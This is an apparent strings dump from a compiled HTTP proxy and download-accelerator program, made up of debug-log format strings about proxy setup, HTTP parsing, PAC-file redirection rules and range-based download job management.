[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
pHttpProxyWorker
[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.
[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.
HttpProxyServer::GetDownloader
[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)
[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.
[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
HttpProxyServer::OnHeader
[ProxyServer::StopAcceleration] Proxy type: %d
[ProxyServer::Stop] Proxy type: %d - Done
[ProxyServer::Stop] - delete HttpCookieJar
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...
[ProxyServer::Stop] - HTTP proxy - Stopped !
[ProxyServer::Stop] - HTTP proxy - Stopping...
[ProxyServer::Stop] Proxy type: %d
[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.
m_pIHttpProxyServer
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.
[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created
ProxyServer::CreateHttpProxyServer
[ProxyServer::Start] Proxy type: %d - Done.
[ProxyServer::Start] *** HTTP proxy was started ***
[ProxyServer::Start] ___Error stating the HTTP proxy.
[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).
[ProxyServer::Start] Proxy type: %d
[ProxyServer::AcceptConnection] *** Handover to HTTP ***
[AccelerationConfiguration::OnError] XML parse failed: %s
[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d
[CAccelerationStats::Write] Written: %d
[CAccelerationStats::AddRequest] Req:%d - Request was added
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader
[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.
[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).
[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.
[HttpProxyServer::Init] ___Error creating listen AsyncSocket
[HttpProxyServer::Init]
[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.
HttpProxyServer::OnData
pIHttpProxyWorker
m_pIHttpEngineConfiguration
[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d
[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d
[HttpProxyServer::WriteDataToFile] Filename: %s
[HttpProxyServer::Start] ___Error - HTTP Configuration not valid
HttpProxyServer::Initialize
[HttpProxyServer::Initialize]
[HttpProxyServer::OnAcceptEvent] *** Pass Through ***
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.
[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket
[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL
[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE
[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE
[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE
[HttpProxyServer::StartListening] Listening on port: %d
[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed
[HttpProxyServer::StartListening] ___Error listening on port: %d
[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket
[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port
[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d
[HttpProxyServer::StartListening] Listen port restored to default: %d
[HttpProxyServer::StartListening] ___Error Configuration not valid
[HttpProxyServer::StartListening]
HttpProxyServer::StartListening
[HttpProxyServer::StopAllAccelerations]
[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d
[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d
[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL
[HttpProxyServer::InitializationThread] ___Error listening to network traffic
[HttpProxyServer::InitializationThread] Listening to network traffic.
[HttpProxyServer::InitializationThread] Going to listen to network traffic
[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid
[HttpProxyServer::InitializationThread]
[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.
[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.
[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.
[HttpProxyServer::Start] ___Error hInitializationThread failed: %d
[HttpProxyServer::Start] hInitializationThread - S_OK
[HttpProxyServer::Start] Waiting for Initialzation Thread...
HttpProxyServer::Start
[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.
[HttpProxyServer::AcceptConnection] ___Error accepting a new socket
[HttpProxyServer::Work] --- Exit event was set ---
[HttpProxyServer::Work] - Start...
[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.
[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...
[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d
[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)
[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.
[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match
[HttpProxyServer::FindDownloadMgr] Worker was not found !
[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d
HttpProxyServer::RemoveDownloaderFromMap
[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)
HttpProxyServer::FDMWasStopped
[HttpProxyServer::Stop] The Stop process was finished !
[HttpProxyServer::Stop] - Workers - Deleted !
[HttpProxyServer::Stop] - Workers - Deleting...
[HttpProxyServer::Stop] - Listen - Stopped !
[HttpProxyServer::Stop] - Listen - Stopping...
[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !
[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...
[HttpProxyServer::Stop] Starting the Stop process...
HttpProxyServer::OnError
[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d
return "PROXY %s:%d";
[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d
[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d
127.0.0.1
[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration
[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true
[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration
[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.
[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF
[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***
[HttpProxyServer::OnHeader] ___Error local loop detected
[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.
[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)
[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d
[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!
[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d
[HttpProxyServer::OnHeader] New header from Worker:%d.
[HttpProxyServer::GetOriginalRequest] Original request was found: %s
[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d
HttpProxyServer::InsertDownloaderToMap
[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.
[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.
[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)
[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.
return "PROXY 127.0.0.1:%d";
shExpMatch(host, "%s")
function FindProxyForURL(url, host)
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.
HttpProxyServer::GetRedirectRulesInPacFormat
%%.%ds
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile]
[HttpProxyServer::~HttpProxyServer] - Leave
[HttpProxyServer::~HttpProxyServer] - Enter
[HttpProxyServer::SetOriginalRequest] Location: %s
[HttpProxyServer::SetOriginalRequest] Replacing: %s
[HttpProxyServer::HttpProxyServer]
hXXp://
HTTP_Version_String
HTTP/1.0
HttpParser::UpdateBuffer
[HttpParser::Reset]
[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.
[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.
[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d
[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.
[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.
HttpParser::Initialize
HttpParser::GetLine
[HttpParser::GetChunkSize] Missing %d/%d bytes.
[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.
[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] After Adding nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nChunkSize:%d
[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).
[HttpParser::GetChunkSize] The buffer size is %d bytes.
[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.
[HttpParser::GetChunkDetails] ___Error Unknown end of line.
[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).
[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s
HttpParser::ParseLine
[HttpParser::operator =] Adding Cookie %s : %s
HttpParser::GetFieldDataString
HttpParser::GetFieldDataNumber
[HttpParser::SetFieldData] Adding Cookie %s : %s
[HttpParser::SetFieldData] %s : %s
HttpParser::SetFieldData
HttpParser::AddLineDetailsToMap
[HttpParser::IsDataAvailable] Undefined - %d data bytes
[HttpParser::IsDataAvailable] Response code has no body - no data
[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Chunks size - %d bytes
[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...
[HttpParser::IsConnectionClose] The Connection field exists:%s
[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default
[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default
[HttpParser::GetContentLength] Content-Length: %lld
[HttpParser::GetDataLengthFromRanges] Range fields does not exists
[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetDataLengthFromRanges] End Position == 0
[HttpParser::GetDataLengthFromRanges] Filesize: %lld
[HttpParser::GetDataLengthFromRangesField] Range fields does not exists
[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld
[HttpParser::GetRangesFromHeaderField] Range fields does not exists
[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetRangesFromHeaderField] Filesize: %lld
[HttpParser::IsValid] ___Error --- NOT an HTTP request ---
HttpParser::SetFieldDataNumber
[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.
[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s
HTTP/
HttpParser::AnalyzeFirstLine
[HttpParser::SetConnectionType] Adding - Connection: %s (%s)
[HttpParser::SetConnectionType] %s: %s (%s)
[HttpParser::UpdateDataEncodingType] Request - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.
[HttpParser::UpdateDataEncodingType] - No Encoding.
[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.
[HttpParser::ParseHeader] Complete - Header size: %d
HttpParser::ParseHeader
HttpParser::GetAllFieldDataStrings
[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.
[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.
[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.
[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.
[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d
[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty
[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.
%s%lld
[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.
[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.
%s%lld-
%s%lld-%lld
[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.
[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)
[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)
[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)
[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)
[HttpProxyLocal::Stop] FDM=%d (%d)
[~HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket%d.bin
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket_%d_%lld_%d.bin
C:\Temp\Socket_%d.bin
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.
[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.
[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.
[HttpProxyWorker::Stop] FDM=%d (%d)
[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.
HttpProxyWorker::Write
[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready
[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***
HttpProxyWorker::InitializeSocket
[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.
[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.
HttpProxyWorker::Initialize
[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d
[~HttpProxyWorker - %p] FDM=%d (%d).
[HttpProxyWorker - %p] FDM=%d (%d).
[JobInfo::GetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld
[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld
[JobInfo::GetDownloadStartPosition] Job:%d - %lld
[JobInfo::GetCurrentTimePosition] Job:%d - %lld
[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard
[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.
[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.
[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)
[JobInfo::GetCounter] ___Error: The field %d is not a counter field.
[JobInfo::SetCounter] ___Error: The field %d is not a counter field.
[JobInfo::Reset] Job:%d
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.
[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d
[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!
[JobInfo::CanBeRecovered] Job:%d - %d/%d
[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d
[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d
[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries
[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d
[JobInfo::SetValidationBytes] Job:%d - Bytes: %d
[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d
[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!
[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***
[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard
[JobInfo::SetState] Job:%d, State: %d, Force: %d
[JobInfo::ResetState] Job:%d
[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.
[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)
[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)
[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard
[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard
[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!
[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***
[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes
[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare
[JobInfo] Job:%d
[JobInfo] Job:%d (%lld-%lld).
[~JobInfo] Job:%d (%lld-%lld).
************ End: d:d:d::d
************ Start: d:d:d::d
[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d
[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges
pIHttpProxyServer
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.
[FileDownloadMgr::StopDownload] FDM=%d, Stopping...
[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...
[FileDownloadMgr::StopDownload] FDM=%d
[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.
[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.
[FileDownloadMgr::StopAcceleration] FDM=%d
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::AbortAcceleration] FDM=%d
[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)
[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***
[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed
[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)
